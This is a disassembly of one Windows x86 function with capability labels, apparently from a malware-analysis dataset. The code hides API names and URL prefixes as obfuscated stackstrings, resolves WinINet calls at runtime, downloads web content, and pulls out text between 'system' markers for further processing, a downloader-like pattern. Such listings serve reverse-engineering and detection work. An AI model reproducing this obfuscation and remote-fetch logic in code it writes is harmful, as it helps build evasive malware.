Function at 0x1000cbf1
Capabilities:
Contain obfuscated stackstrings
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc2c
push ebx
push esi
mov esi, dword [sym.imp.MSVCRT.dll__strnset]
push edi
push 1
push 0x49
push 0x1000261c
call esi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
push eax
push 0x10002610
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 1
push 0x49
push 0x100025fc
mov dword [ebp - 0x20], eax
call esi
add esp, 0xc
push eax
push 0x100025f0
call edi
push eax
call ebx
mov esi, dword [ebp + 8]
xor ebx, ebx
cmp esi, ebx
mov dword [ebp - 0xc], eax
je 0x1000cd00
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [ebp - 0x14]
push eax
push esi
mov dword [ebp - 0x24], ebx
mov byte [ebp - 1], bl
mov byte [ebp - 0x14], 0x68
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x70
mov byte [ebp - 0x10], 0x3a
mov byte [ebp - 0xf], 0x2f
mov byte [ebp - 0xe], bl
mov byte [ebp - 0x1c], 0x68
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x70
mov byte [ebp - 0x18], 0x73
mov byte [ebp - 0x17], 0x3a
mov byte [ebp - 0x16], 0x2f
mov byte [ebp - 0x15], bl
call edi
pop ecx
test eax, eax
pop ecx
jne 0x1000ccd6
lea eax, [ebp - 0x1c]
push eax
push esi
call edi
pop ecx
test eax, eax
pop ecx
jne 0x1000ccd6
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call fcn.1000caf7
add esp, 0x1c
mov al, 1
jmp 0x1000cde3
push ebx
push ebx
push ebx
push ebx
push 0x100025d4
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [ebp - 0x2c], eax
je 0x1000cd00
push ebx
push 0x80000100
push ebx
push ebx
push esi
push eax
call dword [ebp - 0xc]
cmp eax, ebx
mov dword [ebp - 0xc], eax
jne 0x1000cd07
xor al, al
jmp 0x1000cde3
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], 0x73
mov byte [ebp - 5], 0x74
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0x6d
mov byte [ebp - 2], bl
mov esi, 0x800
lea eax, [ebp - 0xc2c]
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xc2c]
push esi
push eax
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc2c]
push eax
call edi
pop ecx
cmp eax, ebx
pop ecx
je 0x1000cdc5
lea ecx, [ebp - 8]
add eax, 4
push ecx
push eax
mov dword [ebp - 0x28], eax
call edi
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
je 0x1000cdc5
push 0x400
lea eax, [ebp - 0x42c]
push ebx
push eax
call sub.MSVCRT.dll_memset
sub esi, dword [ebp - 0x28]
lea eax, [ebp - 0x42c]
push esi
push dword [ebp - 0x28]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x42c]
push eax
call fcn.1000cab4
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call fcn.1000caf7
add esp, 0x38
mov byte [ebp - 1], 1
cmp dword [ebp - 0x24], ebx
ja 0x1000cd22
push dword [ebp - 0xc]
call dword [ebp - 0x20]
push dword [ebp - 0x2c]
call dword [ebp - 0x20]
push dword [ebp + 8]
call dword [ebp - 0x20]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret